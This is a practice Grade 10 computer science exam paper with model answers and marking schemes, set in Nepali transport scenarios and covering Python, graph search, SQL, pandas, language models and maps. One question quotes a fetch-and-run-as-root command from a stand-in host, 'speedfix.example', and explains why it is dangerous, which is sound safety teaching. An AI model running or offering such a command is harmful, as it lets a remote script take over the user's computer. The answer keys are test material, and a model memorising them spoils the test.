Final Exam Model Paper 10
Theory paper: 50 marksTime: 2 hours
Practical exam: 25 marksTime: 1 hour 30 minutes
All questions are compulsory.
A full practice run of the Grade 10 final exam: the theory paper (50 marks, 2 hours) and, below it, the practical exam (25 marks, 1 hour 30 minutes, at a computer, marked by the school). In the theory paper, work out on paper what each program does, as in the exam hall: its programs have no Run button. In the practical exam, the programs run on this page.
A practice paper by Science Playground, made to its own course’s grid; not an official exam paper.
Write your answers on paper first. Then open each answer and its marking scheme, and give yourself one mark for each point you got. In multiple choice, your first choice counts.
Section A
10 × 1 = 101. Choose the correct option for each of the following questions.
A bus company’s programmer opens the reference in a library’s documentation to look up one of its functions. What does a reference entry tell him?
Pick an answer to see why.
The lanes of a small town are one-way, so a car may go only from each place to the places in its list:
lanes = { "Bus park": ["Chowk"], "Chowk": ["Temple", "School"], "Temple": ["Market"], "School": ["Bus park", "Market"], "Market": ["Hospital"], "Hospital": ["Temple"],}What is the fewest number of lanes from the Bus park to the Hospital, and can a car drive from the Hospital back to the Bus park?
Pick an answer to see why.
Every vehicle in Nepal has a chassis number stamped on its frame. No two vehicles have the same one, it never changes, and the transport office’s tables of owners and of taxes paid refer to a vehicle by it. In the office’s table of vehicles, what is the chassis number field?
Pick an answer to see why.
A student collects the accidents at 30 junctions of Kathmandu in one year. Junctions with traffic police on duty had more accidents than junctions without. A councillor says: “So the traffic police cause accidents. Take them off the junctions.” Which judgment is best?
Pick an answer to see why.
A courier company in Kathmandu fits its delivery vans with trackers. Each tracker reads its GPS position once every 2 minutes. How far does a van going at 45 km/h move between two readings?
Pick an answer to see why.
The ticket printer at a bus park’s counter has stopped printing. The clerk prints a test page from the printer’s own button, and tries the computer with another printer. What is he doing?
Pick an answer to see why.
What does a language model’s temperature control?
Pick an answer to see why.
A bus conductor types the 37 fares he collected on one trip into a chatbot that has no calculator tool, and asks for the total. Its total is off by Rs 140. What is the most likely reason?
Pick an answer to see why.
A city’s new app shows where each bus is. Sunita, who sells vegetables, has no smartphone. Hari has one and uses the app, but it is only in English, which he reads slowly, so he often misreads it and misses his bus. Which is right?
Pick an answer to see why.
For a history project, Bikash writes: “Most people in Nepal first used the internet on a phone, not a computer, for one reason only: phones became cheap.” Which judgment is best?
Pick an answer to see why.
Section B
10 × 2 = 20Write short answers to the following questions.
A school’s bicycle stand has four places, numbered 1 to 4. A program keeps who has parked in each:
def park(stand, name): """Give name the first free place (None means free). Return the place's number, counted from 1, or 0 if every place is taken.""" for i in range(len(stand)): if stand[i] is None: stand[i] = name return i + 1 return 0 stand = [None, "Hari", None, None]print(park(stand, "Sita"), park(stand, "Ram"))print(park(stand, "Gita"), park(stand, "Bikash"))print(stand)- i.Write the output.
- ii.Besides the number it returns, what does
parkdo, what is that called, and why must its docstring say so?
Answer
i. Sita gets place 1, the first free one; Ram place 3, since Hari has 2; Gita place 4; then the stand is full, so Bikash gets 0. The list was changed by each call:
Output
1 34 0['Sita', 'Hari', 'Ram', 'Gita']ii. It changes the list passed to it, writing the name into it. A change a function makes outside itself, besides the value it returns, is a side effect. The list inside the function is the same list as stand outside (a second name for it, not a copy), so the caller’s list changes: anyone using park must know that, or they would be surprised to find their list changed.
Marking scheme
- i. The three lines:
1 3,4 0, and['Sita', 'Hari', 'Ram', 'Gita']. - ii. It changes (writes into) the list passed to it, a side effect, which the caller must know about because it is the caller’s own list.
Sabina writes a breadth-first search to find how many stops apart the city’s electric bus stops are. She copies the method from her notes, but writes to_visit.pop() where her notes have to_visit.pop(0).
- i.What does
pop()take from the list, and what kind of search does her program now do? - ii.Why can her program now give some stops the wrong number of steps?
Answer
- i.
pop()takes the last item, the one added most recently, so the list is used as a stack, not a queue: the program goes deep along one path before trying the others, a depth-first search. - ii.Breadth-first search gives the fewest steps because it visits places in rings: everything 1 step away, then everything 2 steps away. Taken from the back, the list no longer goes ring by ring, so a stop can first be reached, and marked with its steps, along a long way round, and is then never looked at again when a shorter way comes up.
Marking scheme
- i. The last item (the newest), so the list is a stack and the search goes deep first.
- ii. Places are no longer visited ring by ring, so a stop may be marked first by a longer path, giving more steps than the fewest.
A traffic police office in Lalitpur keeps its fines in a table, fines (fine_id INTEGER, plate TEXT, offence TEXT, amount INTEGER, paid_on TEXT). paid_on is NULL until the fine is paid. Write an SQL query that gives how many fines are still unpaid and how much money they come to, and one that lists each offence with its number of fines, the commonest first.
Answer
SELECT COUNT(*), SUM(amount) FROM finesWHERE paid_on IS NULL; SELECT offence, COUNT(*) FROM finesGROUP BY offenceORDER BY COUNT(*) DESC;A missing value is found with IS NULL, never = NULL, which is never true.
Marking scheme
COUNT(*)andSUM(amount)withWHERE paid_on IS NULL.GROUP BY offencewithCOUNT(*), ordered by the countDESC.
A company runs fast chargers for electric cars at three places on the highways. One day’s charging sessions are in charging.csv (the energy in kWh, and the time in minutes):
charging.csv
station,kwh,minutesMugling,18.5,40Hetauda,22.0,55Mugling,30.0,70Butwal,12.5,25Hetauda,9.0,20Mugling,25.5,60Butwal,28.0,65Hetauda,16.0,35- i.Write pandas lines that read the file and print the energy given at each station in all, and write what they print.
- ii.What does
long = charging[charging["minutes"] >= 60]keep, and what islen(long)?
Answer
i.
import pandas as pd charging = pd.read_csv("charging.csv")print(charging.groupby("station")["kwh"].sum())Output
stationButwal 40.5Hetauda 47.0Mugling 74.0Name: kwh, dtype: float64ii. charging["minutes"] >= 60 is True or False for each row, and the square brackets keep only the rows where it is True: the sessions of an hour or more, Mugling’s 30.0 kWh (70 minutes) and 25.5 kWh (60 minutes) and Butwal’s 28.0 kWh (65 minutes). So len(long) is 3.
Marking scheme
- i.
groupby("station")["kwh"].sum(), printing Butwal 40.5, Hetauda 47.0, Mugling 74.0. - ii. The rows of 60 minutes or more (the 70, 60 and 65 minute sessions), so
len(long)is 3.
Suman’s laptop at a bus company’s office has become slow. On a forum, a stranger replies: “Easy. Paste this into the terminal: curl -s http://speedfix.example/fix.sh | sudo bash”.
- i.Why should Suman not run it?
- ii.What should he do instead?
Answer
- i.He doesn’t understand what it does, and it comes from a stranger. It downloads a program from a website and runs it at once, with sudo, as the administrator: whatever is in it (deleting files, switching off protection, installing malware) can be done to the whole computer, and a command, unlike a click, has no bin and no undo.
- ii.Use the troubleshooting method himself: say exactly what is slow and since when, restart, look at how full the storage is and which programs are using the computer, change one thing at a time and test it, and read the maker’s own help pages or answers that others say worked. Run a command only when he understands what each part does.
Marking scheme
- i. He doesn’t know what it does; it runs a stranger’s program as administrator (sudo), which could delete files or install malware, with no undo.
- ii. Troubleshoot step by step himself (restart, storage, programs using it, one change at a time), using the maker’s help, not a stranger’s command.
A ticket counter’s program gives the fare to a stop:
FARES = {"Kalanki": 25, "Koteshwor": 30, "Lagankhel": 35} stop = input("To which stop? ")fare = FARES[stop]print("Fare: Rs", fare)A clerk types koteshwor and the program stops with:
Error message
Traceback (most recent call last): File "main.py", line 4, in <module> fare = FARES[stop] ~~~~~^^^^^^KeyError: 'koteshwor'- i.Read the error: which line failed, what kind of error is it, and what does it mean here?
- ii.Rewrite the program so that
koteshwor,Koteshwor(with spaces) andKOTESHWORall give the fare, and a stop not in the list prints “No bus to” and the stop, instead of stopping.
Answer
i. Line 4, fare = FARES[stop]. A KeyError means the dictionary has no such key: it has "Koteshwor" with a capital K, and the clerk typed koteshwor, which to Python is a different string.
ii.
FARES = {"kalanki": 25, "koteshwor": 30, "lagankhel": 35} stop = input("To which stop? ").strip().lower()if stop in FARES: print("Fare: Rs", FARES[stop])else: print("No bus to", stop)Output
To which stop? KOTESHWORFare: Rs 30The keys are written in small letters, and strip() and lower() make whatever is typed the same; in checks for the key before it is used.
Marking scheme
- i. Line 4: a KeyError, because the dictionary has no key
'koteshwor'(its key has a capital K). - ii. Keys in small letters with
.strip().lower()on the input, andif stop in FARES:with an else that prints “No bus to”.
A bus company’s chatbot can do four things. For each, say where it comes from: pretraining, fine-tuning on examples, feedback from people, or the conversation itself.
- a.It writes correct Nepali and English grammar.
- b.It answers in the shape of a polite help desk’s reply.
- c.It refuses to help someone make a fake ticket.
- d.It remembers that the customer said earlier in this chat that she is going to Pokhara.
Answer
- a.Pretraining: to guess the next token across trillions of tokens of text, its parameters had to capture grammar, spelling and which words go together.
- b.Fine-tuning on examples: trained on many thousands of example conversations, a request followed by a good answer, it learned the shape of answering.
- c.Feedback from people: people compared its answers and chose the better ones, and it was trained to give the answers they prefer, including refusing requests that would cause harm.
- d.The conversation itself: what she said is still in its context window, so it can use it; the model hasn’t learned anything, and in a new chat it wouldn’t know.
Marking scheme
- a. Pretraining; b. fine-tuning on examples.
- c. Feedback from people; d. the conversation, still in its context window.
A bus company wants a chatbot that answers customers’ questions about fares, which change several times a year. Plan A: fine-tune a model once on last year’s chats between customers and the counter staff, and let it answer from what it learned. Plan B: each time, put the company’s current fare table into the chatbot’s context, and tell it to say “I don’t know” when the answer isn’t there. Judge the two plans.
Answer
Plan A is risky. Once trained, a model’s parameters are frozen, so it would give last year’s fares confidently after every change; and a fare that appeared in few chats is a rare fact, which it may get wrong in a likely-looking sentence. Plan B is better: answering from a text given to it (grounding) makes far fewer made-up answers, the fare table can be updated without training anything, and saying “I don’t know” is better than a guess that costs a customer money. Even so, Plan B must be tested on real questions with checked answers before it is used, and show the official fare with each answer.
Marking scheme
- Plan A: the model’s knowledge is frozen at training, so after a change it gives old fares, and rare fares may be made up.
- Plan B is better: grounded in the current table, easy to update, “I don’t know” instead of guesses; still test it before use.
Bikram, in Itahari, has been asked by a travel company in Australia to build its bus-booking website, through a freelancing platform.
- i.What is a milestone payment, and why should he use one for a big job like this?
- ii.What is hundi, and why should he never be paid through it?
Answer
- i.A milestone is part of the payment, for a stage of the work, that the client puts with the platform before the work starts; the platform holds it and pays it out when that stage is delivered. For a big job it means the money is there before he works, so he isn’t left unpaid after weeks of work.
- ii.Hundi is the informal way of moving money across borders through a middle-man. It is illegal in Nepal, and money that comes that way leaves no bank record of foreign income, which he would need for a loan, a tax clearance, or to show his work later.
Marking scheme
- i. Payment for a stage put with (held by) the platform before work starts, so he is sure to be paid.
- ii. Informal, illegal money transfer through a middle-man; it leaves no bank record of his income.
A student group sends this proposal to their municipality: “Ride apps are dangerous. Ban all ride apps in our city from next month.” Judge it against the parts of a good proposal, and suggest a better one.
Answer
It is a weak proposal. It gives no evidence of the problem (how many accidents, compared with other motorbikes and taxis), names no law to change, and doesn’t say who gains and who pays: thousands of riders who earn their living this way, and passengers who rely on it. A ban is not proportionate, and it leaves out risks, safeguards and how anyone would know it worked. A better one: every ride app must check its riders’ licenses and the vehicles’ papers, give passengers a helmet, and answer complaints within a set time; written for any app that does this (technology-neutral); with accidents counted before and after, and a review after two years.
Marking scheme
- Weaknesses: no evidence, no law named, ignores who pays (riders’ incomes, passengers), a ban isn’t proportionate, no way to know it worked.
- A better proposal: safety rules for every ride app (licenses, helmets, complaints), technology-neutral, measured and reviewed.
Section C
5 × 4 = 20Write long answers to the following questions.
Asha’s family in Butwal is choosing a scooter. With these made-up figures, a petrol one costs Rs 2,00,000 and Rs 4 a km for fuel and servicing; an electric one costs Rs 2,60,000 and Rs 1 a km, and needs a new battery for Rs 50,000 at the start of its 6th year.
- i.Write the start of a module, scooters.py: the figures as named constants, and a function
total_cost(price, per_km, km_a_year, years)with a docstring that returns what a scooter costs to buy and ride for that many whole years. (1) - ii.Add a function
break_even(km_a_year)that returns the first whole year, from 1 to 10, after which the electric scooter has cost no more than the petrol one in all (the battery counted from year 6 on), orNoneif that doesn’t happen within 10 years; and tests that run only when scooters.py itself is run. (2) - iii.
break_even(4500)returns 5. Asha’s father says: “So if we ride 4,500 km a year, the electric one is cheaper from the fifth year on.” Judge his conclusion, working out the two totals after 6 years. (1)
Answer
i. and ii.
scooters.py
"""Comparing what a petrol and an electric scooter cost (made-up prices).""" PETROL_PRICE = 200000 # rupeesPETROL_PER_KM = 4 # fuel and servicing, rupees a kmELECTRIC_PRICE = 260000ELECTRIC_PER_KM = 1 # charging and servicing, rupees a kmBATTERY = 50000 # a new battery, bought at the start of year 6YEARS_TO_TRY = 10 def total_cost(price, per_km, km_a_year, years): """What a scooter costs to buy and ride for this many whole years.""" return price + per_km * km_a_year * years def break_even(km_a_year): """The first whole year after which the electric scooter has cost no more than the petrol one in all, or None if that doesn't happen in 10 years.""" for years in range(1, YEARS_TO_TRY + 1): petrol = total_cost(PETROL_PRICE, PETROL_PER_KM, km_a_year, years) electric = total_cost(ELECTRIC_PRICE, ELECTRIC_PER_KM, km_a_year, years) if years >= 6: electric = electric + BATTERY if electric <= petrol: return years return None if __name__ == "__main__": print(break_even(9000), "should be 3") print(break_even(3000), "should be None") print(break_even(20000), "should be 1")Used from a main program:
import scooters for km in [9000, 3000, 4500]: print(km, "km a year:", scooters.break_even(km))Output
9000 km a year: 33000 km a year: None4500 km a year: 5iii. He is wrong. After 6 years the petrol scooter has cost 2,00,000 + 4 × 4,500 × 6 = Rs 3,08,000, but the electric one 2,60,000 + 1 × 4,500 × 6 + 50,000 = Rs 3,37,000: the new battery puts it behind again, and it doesn’t catch up until year 9 (Rs 3,50,500 against Rs 3,62,000). The function answers exactly the question in its docstring, the first year it is no dearer, and one number hides what happens after. Before deciding on it, look at both totals year by year, or change the function to say whether the electric scooter stays cheaper.
Marking scheme
- i. Named constants for the figures, and
total_costreturning price + per_km × km_a_year × years, with a docstring. - ii. A loop over years 1 to 10 that adds the battery from year 6 and returns the first year electric ≤ petrol, else None.
- ii. Tests under
if __name__ == "__main__":(such as 9000 gives 3, 3000 gives None). - iii. Wrong: after 6 years petrol Rs 3,08,000, electric Rs 3,37,000, because of the battery; the first year doesn’t mean cheaper from then on.
The roads between some towns of Sudurpashchim (simplified, made up for practice) are given as a list of pairs, each road going both ways:
roads = [("Dhangadhi", "Attariya"), ("Dhangadhi", "Tikapur"), ("Attariya", "Mahendranagar"), ("Attariya", "Dadeldhura"), ("Tikapur", "Chisapani"), ("Dadeldhura", "Baitadi"), ("Dadeldhura", "Dipayal"), ("Baitadi", "Darchula"), ("Baitadi", "Dipayal"), ("Dipayal", "Sanfebagar"), ("Sanfebagar", "Martadi")]- i.Write the roads as a Python dictionary of neighbors, each town’s neighbors in the order its roads come in the list. (1)
- ii.Do a breadth-first search from Dhangadhi by hand: a row for each visit, with the town, its roads from Dhangadhi and the list still to visit after it. How many roads is Martadi from Dhangadhi, and by which towns? (2)
- iii.A new road from Chisapani to Sanfebagar is planned. Which towns would then be fewer roads from Dhangadhi, and how many? (1)
Answer
i.
neighbors = { "Dhangadhi": ["Attariya", "Tikapur"], "Attariya": ["Dhangadhi", "Mahendranagar", "Dadeldhura"], "Tikapur": ["Dhangadhi", "Chisapani"], "Mahendranagar": ["Attariya"], "Dadeldhura": ["Attariya", "Baitadi", "Dipayal"], "Chisapani": ["Tikapur"], "Baitadi": ["Dadeldhura", "Darchula", "Dipayal"], "Dipayal": ["Dadeldhura", "Baitadi", "Sanfebagar"], "Darchula": ["Baitadi"], "Sanfebagar": ["Dipayal", "Martadi"], "Martadi": ["Sanfebagar"],}ii. Each town is noted when it is added, so none is added twice (Dipayal, already in the list when Baitadi is visited, isn’t added again):
| Visit | Roads | List still to visit, front first |
|---|---|---|
| Dhangadhi | 0 | Attariya, Tikapur |
| Attariya | 1 | Tikapur, Mahendranagar, Dadeldhura |
| Tikapur | 1 | Mahendranagar, Dadeldhura, Chisapani |
| Mahendranagar | 2 | Dadeldhura, Chisapani |
| Dadeldhura | 2 | Chisapani, Baitadi, Dipayal |
| Chisapani | 2 | Baitadi, Dipayal |
| Baitadi | 3 | Dipayal, Darchula |
| Dipayal | 3 | Darchula, Sanfebagar |
| Darchula | 4 | Sanfebagar |
| Sanfebagar | 4 | Martadi |
| Martadi | 5 | (empty) |
Martadi is 5 roads away: Dhangadhi → Attariya → Dadeldhura → Dipayal → Sanfebagar → Martadi.
iii. Chisapani is 2 roads away, so Sanfebagar would be 3 (Dhangadhi → Tikapur → Chisapani → Sanfebagar) instead of 4, and Martadi 4 instead of 5. Every other town keeps its number: Dipayal is 3 either way.
Marking scheme
- i. The dictionary, with every road in both towns’ lists.
- ii. The visits in the right order (Attariya and Tikapur at 1; Mahendranagar, Dadeldhura, Chisapani at 2; Baitadi, Dipayal at 3; Darchula, Sanfebagar at 4) with the list after each.
- ii. Martadi is 5 roads away, by Attariya, Dadeldhura, Dipayal and Sanfebagar.
- iii. Sanfebagar becomes 3 and Martadi 4; no other town changes.
A transport office keeps the people applying for a driving license and their driving trials in two tables (made up). A trial’s result is NULL when the person didn’t come.
applicants
| applicant_id | name | category | district |
|---|---|---|---|
| 1 | Sabin Thapa | bike | Lalitpur |
| 2 | Kusum Rai | car | Kathmandu |
| 3 | Dipesh KC | bike | Bhaktapur |
| 4 | Anita Magar | car | Lalitpur |
| 5 | Roshan Shah | bike | Kathmandu |
trials
| trial_id | applicant_id | day | result |
|---|---|---|---|
| 1 | 1 | 2026-09-02 | fail |
| 2 | 2 | 2026-09-02 | pass |
| 3 | 3 | 2026-09-03 | NULL |
| 4 | 1 | 2026-09-16 | pass |
| 5 | 4 | 2026-09-16 | fail |
| 6 | 5 | 2026-09-17 | pass |
| 7 | 3 | 2026-09-30 | fail |
| 8 | 4 | 2026-09-30 | pass |
Write what each query gives.
- i.
SELECT name FROM applicants WHERE category = 'bike' ORDER BY name;(1) - ii.
SELECT applicant_id, COUNT(*) FROM trials GROUP BY applicant_id HAVING COUNT(*) > 1;(1) - iii.(1)
SELECT applicants.name, trials.dayFROM trialsJOIN applicants ON trials.applicant_id = applicants.applicant_idWHERE trials.result = 'pass'ORDER BY trials.day;iv. SELECT COUNT(*), COUNT(result) FROM trials; gives two different numbers. What are they, and why do they differ? (1)
Answer
- i.The bike applicants in alphabetical order of their names: Dipesh KC, Roshan Shah, Sabin Thapa.
- ii.The applicants with more than one trial, and how many each had:
| applicant_id | COUNT(*) |
|---|---|
| 1 | 2 |
| 3 | 2 |
| 4 | 2 |
iii. Who passed, and when, the earliest first:
| name | day |
|---|---|
| Kusum Rai | 2026-09-02 |
| Sabin Thapa | 2026-09-16 |
| Roshan Shah | 2026-09-17 |
| Anita Magar | 2026-09-30 |
iv. 8 and 7. COUNT(*) counts every row; COUNT(result) counts only the rows whose result is not NULL, so it leaves out trial 3, the day Dipesh didn’t come.
Marking scheme
- i. Dipesh KC, Roshan Shah, Sabin Thapa.
- ii. Applicants 1, 3 and 4, with 2 trials each.
- iii. Kusum Rai 2026-09-02, Sabin Thapa 2026-09-16, Roshan Shah 2026-09-17, Anita Magar 2026-09-30.
- iv. 8 and 7: COUNT(result) skips the NULL (the trial Dipesh missed).
A city’s bus company keeps a row for each trip of its electric buses in trips.csv: the route, the distance in km, the passengers, and the battery used in kWh. Puja draws three scatter charts side by side, one for each route (Ring Road, Lagankhel–Budhanilkantha, Airport), each with the distance across and the battery used up, made with plt.subplots(1, 3, sharex=True, sharey=True).
- i.What are charts like these called, and how many variables do the three show together? Name them. (1)
- ii.Why must the three charts share their scales? (1)
- iii.On the Airport route’s chart the dots sit higher than on the other two at the same distances. What does that tell you, and what can’t the charts tell you about it? (1)
- iv.She also wants to show whether full buses use more battery. How could the same charts show the passengers as well, and what is the difficulty with each way? (1)
Answer
- i.Small multiples: the same chart drawn once for each group, side by side. Together they show three variables: the route (one chart each), the distance and the battery used.
- ii.So that a dot at the same place means the same thing in all three. With scales of their own, a chart whose axis stopped at 20 km and one that went to 40 km would look alike, and the routes couldn’t be compared by eye.
- iii.That on the Airport route a bus uses more battery for each km. The charts don’t say why: hills, more stops and starts, heavier loads or the air conditioning could each explain it, and the company would have to find out.
- iv.By the dots’ color (shades from few passengers to many) or their size. Shades and sizes are hard to compare by eye, so the pattern may be hard to see; a fourth variable can also be shown with more small multiples, such as one row for crowded trips and one for quiet ones.
Marking scheme
- i. Small multiples, showing three variables: route, distance and battery used.
- ii. Shared scales make the same place mean the same in each chart, so the routes can be compared.
- iii. More battery per km on the Airport route; the charts don’t show why (hills, stops, load are only guesses).
- iv. Color shades or dot size (or more small multiples), which are harder to compare by eye.
Read the given passage and answer the questions that follow.
Bishnu orders a ride on a ride app in Pokhara. Her phone gives the app her latitude and longitude, and the app turns them into a place on its map, which is made of square pictures, and draws a blue dot there with a pale circle round it. The rider’s position comes from his phone every few seconds, so his motorbike moves along the map towards her. When she installed the app, it asked whether it could use her location “always” or “only while using the app”.
- i.What do latitude and longitude each measure? (1)
- ii.What are the map’s square pictures called, and what does the app know about each one that lets it place her dot? (1)
- iii.What does the pale circle round the dot show? (1)
- iv.Which of the two choices should Bishnu make, and why? (1)
Answer
- i.Latitude is how far north or south of the equator a place is, in degrees; longitude is how far east or west of the line through Greenwich, in London, in degrees.
- ii.Tiles. The app knows the latitude and longitude of each tile’s edges, so it can work out, in proportion, how far across and down the tile her position falls, and draw the dot at that pixel.
- iii.The app’s guess of its accuracy: she is probably somewhere inside the circle. A big circle means the position is uncertain.
- iv.Only while using the app. A ride app needs her place only while she is ordering and riding; allowed “always”, it could keep a record of every place she goes (home, school, a friend’s house), which tells a story about her life.
Marking scheme
- i. Latitude: degrees north or south of the equator; longitude: degrees east or west of the line through Greenwich.
- ii. Tiles; the app knows the latitude and longitude of each tile’s edges.
- iii. The accuracy: she is probably somewhere inside it.
- iv. Only while using the app, since “always” lets it record everywhere she goes.
Practical exam
25 marksMarked by the school. Work alone at a computer, with no internet and no AI, in front of the teacher, for 1 hour 30 minutes. Write and run each program, show it working, and answer the teacher’s questions. On this page, press Edit on a program to type in it, and Run to run it.
How far on a liter? Suman fills his motorbike’s tank to full every time, and writes down the odometer and the liters he put in. The liters at each fill-up are the petrol used since the one before.
At the computer, make two files in one folder:
- mileage.py, a module with a constant
LOW = 40and a functionkm_per_liter(fills)that returns a list of the km a liter for each stretch between two fill-ups, rounded to 1 decimal place, orNoneif the odometer ever goes down; with a docstring, and tests at the end that run only when mileage.py itself is run (including a single fill-up, which gives an empty list); - main.py, which imports it, prints each stretch of the fill-ups below with its km a liter, marks any stretch below
LOW, and then prints the km a liter for the whole month, from the total km and the total liters.
fills = [(12400, 5.0), (12610, 4.6), (12790, 4.2), (13025, 5.0), (13180, 4.4), (13410, 5.1)]Run mileage.py, then main.py, in front of the teacher.
Answer
mileage.py
"""How far a motorbike goes on a liter, from its fill-ups.""" LOW = 40 # km a liter: below this, something may be wrong def km_per_liter(fills): """Given fill-ups as (odometer in km, liters put in) pairs, oldest first, each filling the tank to full, return a list of km a liter for each stretch between two fill-ups, rounded to 1 decimal place, or None if the odometer ever goes down.""" result = [] for i in range(1, len(fills)): km = fills[i][0] - fills[i - 1][0] if km < 0: return None result.append(round(km / fills[i][1], 1)) return result if __name__ == "__main__": print(km_per_liter([(1000, 3.0), (1180, 4.0)]), "should be [45.0]") print(km_per_liter([(1000, 3.0)]), "should be []") print(km_per_liter([(1000, 3.0), (900, 4.0)]), "should be None")Run by itself, mileage.py prints its tests:
Output
[45.0] should be [45.0][] should be []None should be Nonemain.py
import mileage fills = [(12400, 5.0), (12610, 4.6), (12790, 4.2), (13025, 5.0), (13180, 4.4), (13410, 5.1)] stretches = mileage.km_per_liter(fills)for i in range(len(stretches)): note = "" if stretches[i] < mileage.LOW: note = " (low: check the tyres and the chain)" print(fills[i][0], "to", fills[i + 1][0], "km:", stretches[i], "km a liter" + note) km = fills[-1][0] - fills[0][0]liters = 0for odometer, put_in in fills[1:]: liters = liters + put_inprint("In all:", km, "km on", round(liters, 1), "liters,", round(km / liters, 1), "km a liter")Output
12400 to 12610 km: 45.7 km a liter12610 to 12790 km: 42.9 km a liter12790 to 13025 km: 47.0 km a liter13025 to 13180 km: 35.2 km a liter (low: check the tyres and the chain)13180 to 13410 km: 45.1 km a literIn all: 1010 km on 23.3 liters, 43.3 km a literThe first fill-up’s 5.0 liters are left out of the total: they were used before the first odometer reading. (The fill-ups are made up for this paper.)
Marking scheme
- mileage.py has a function
km_per_liter(fills)that returns a list (it doesn’t print). - Each stretch is the difference of two odometer readings divided by the liters of the later fill-up, rounded to 1 decimal place.
- Returns None when the odometer goes down.
- A docstring that says what it takes and returns, and LOW as a named constant.
- Tests under
if __name__ == "__main__":, with a single fill-up among them, which don’t run when it is imported. - main.py imports mileage and prints the five stretches (45.7, 42.9, 47.0, 35.2, 45.1), marking only 35.2 as low.
- main.py prints 43.3 km a liter for the month, from 1,010 km and 23.3 liters, run in front of the teacher.
The Dashain rush. A bus company in Kathmandu sells seats for the days before Dashain. This program makes its database and gives you ask(), which prints what a query gives. Run it, then add one ask() for each question:
- i.The buses on 2026-10-16: the bus_id, the town it goes to and its time, the earliest first. (2)
- ii.Everyone who booked seats on a bus to Pokhara: their name, the bus’s day and the seats they booked, by day and then in the order they booked (booking_id). (2)
- iii.The buses that have been sold more seats than they have: the bus_id, the town, its seats and the seats booked. (2)
import sqlite3 db = sqlite3.connect(":memory:")db.execute("CREATE TABLE buses (bus_id INTEGER PRIMARY KEY, to_town TEXT, day TEXT, time TEXT, seats INTEGER)")db.execute("""CREATE TABLE bookings (booking_id INTEGER PRIMARY KEY, bus_id INTEGER REFERENCES buses(bus_id), booked_by TEXT, seats INTEGER)""")db.executemany("INSERT INTO buses VALUES (?, ?, ?, ?, ?)", [ (1, "Pokhara", "2026-10-15", "06:30", 35), (2, "Ilam", "2026-10-15", "16:00", 40), (3, "Pokhara", "2026-10-16", "07:00", 35), (4, "Janakpur", "2026-10-16", "19:30", 40), (5, "Butwal", "2026-10-16", "06:00", 30), (6, "Pokhara", "2026-10-17", "06:30", 35),])db.executemany("INSERT INTO bookings VALUES (?, ?, ?, ?)", [ (1, 1, "Sita Gurung", 4), (2, 2, "Dawa Lama", 25), (3, 1, "Pemba Sherpa", 10), (4, 4, "Ramesh Yadav", 22), (5, 3, "Anil Shrestha", 2), (6, 5, "Mohan Bhandari", 15), (7, 1, "Bimala KC", 20), (8, 2, "Kiran Rai", 16), (9, 6, "Asha Gurung", 12), (10, 4, "Sunita Sah", 18), (11, 3, "Gita Adhikari", 18), (12, 5, "Rita Chaudhary", 16),]) def ask(sql): """Print each row the query gives, then a blank line.""" for row in db.execute(sql): print(row) print() ask("SELECT * FROM buses")Answer
The same program, with these three lines in place of the last one:
import sqlite3 db = sqlite3.connect(":memory:")db.execute("CREATE TABLE buses (bus_id INTEGER PRIMARY KEY, to_town TEXT, day TEXT, time TEXT, seats INTEGER)")db.execute("""CREATE TABLE bookings (booking_id INTEGER PRIMARY KEY, bus_id INTEGER REFERENCES buses(bus_id), booked_by TEXT, seats INTEGER)""")db.executemany("INSERT INTO buses VALUES (?, ?, ?, ?, ?)", [ (1, "Pokhara", "2026-10-15", "06:30", 35), (2, "Ilam", "2026-10-15", "16:00", 40), (3, "Pokhara", "2026-10-16", "07:00", 35), (4, "Janakpur", "2026-10-16", "19:30", 40), (5, "Butwal", "2026-10-16", "06:00", 30), (6, "Pokhara", "2026-10-17", "06:30", 35),])db.executemany("INSERT INTO bookings VALUES (?, ?, ?, ?)", [ (1, 1, "Sita Gurung", 4), (2, 2, "Dawa Lama", 25), (3, 1, "Pemba Sherpa", 10), (4, 4, "Ramesh Yadav", 22), (5, 3, "Anil Shrestha", 2), (6, 5, "Mohan Bhandari", 15), (7, 1, "Bimala KC", 20), (8, 2, "Kiran Rai", 16), (9, 6, "Asha Gurung", 12), (10, 4, "Sunita Sah", 18), (11, 3, "Gita Adhikari", 18), (12, 5, "Rita Chaudhary", 16),]) def ask(sql): """Print each row the query gives, then a blank line.""" for row in db.execute(sql): print(row) print() ask("SELECT bus_id, to_town, time FROM buses WHERE day = '2026-10-16' ORDER BY time")ask("""SELECT bookings.booked_by, buses.day, bookings.seats FROM bookings JOIN buses ON bookings.bus_id = buses.bus_id WHERE buses.to_town = 'Pokhara' ORDER BY buses.day, bookings.booking_id""")ask("""SELECT buses.bus_id, buses.to_town, buses.seats, SUM(bookings.seats) FROM buses JOIN bookings ON bookings.bus_id = buses.bus_id GROUP BY buses.bus_id HAVING SUM(bookings.seats) > buses.seats""")Output
(5, 'Butwal', '06:00')(3, 'Pokhara', '07:00')(4, 'Janakpur', '19:30') ('Sita Gurung', '2026-10-15', 4)('Pemba Sherpa', '2026-10-15', 10)('Bimala KC', '2026-10-15', 20)('Anil Shrestha', '2026-10-16', 2)('Gita Adhikari', '2026-10-16', 18)('Asha Gurung', '2026-10-17', 12) (2, 'Ilam', 40, 41)(5, 'Butwal', 30, 31)The times are written with two digits for the hour, so ordering them as text puts them in the order of the day. Bus 4 to Janakpur has exactly 40 seats booked of its 40, so it is full, not over-booked: with >= it would wrongly be listed. (The buses and bookings are made up for this paper.)
Marking scheme
- i.
WHERE day = '2026-10-16', selecting bus_id, to_town and time. - i.
ORDER BY time, giving buses 5, 3 and 4. - ii. A JOIN of bookings and buses
ON bookings.bus_id = buses.bus_id, withWHERE buses.to_town = 'Pokhara'. - ii. Ordered by day and booking_id, giving the six bookings from Sita Gurung to Asha Gurung.
- iii.
GROUP BY buses.bus_idwithSUM(bookings.seats), joined to buses. - iii.
HAVING SUM(bookings.seats) > buses.seats, giving Ilam (41 of 40) and Butwal (31 of 30), not Janakpur.
Electric buses to the far west. A company plans electric buses from Kathmandu to Dhangadhi. A bus stops at every town on its way, can charge at any of them, and can’t take a road longer than its battery’s range. Write a function fewest_legs(roads, start, goal, range_km) that returns the towns on a route with the fewest legs (roads) using only roads no longer than range_km, or None if there is none. Then print the route from Kathmandu to Dhangadhi, its number of legs and its stops to charge on the way, for buses with a range of 200 km, 150 km and 100 km (or “no way”).
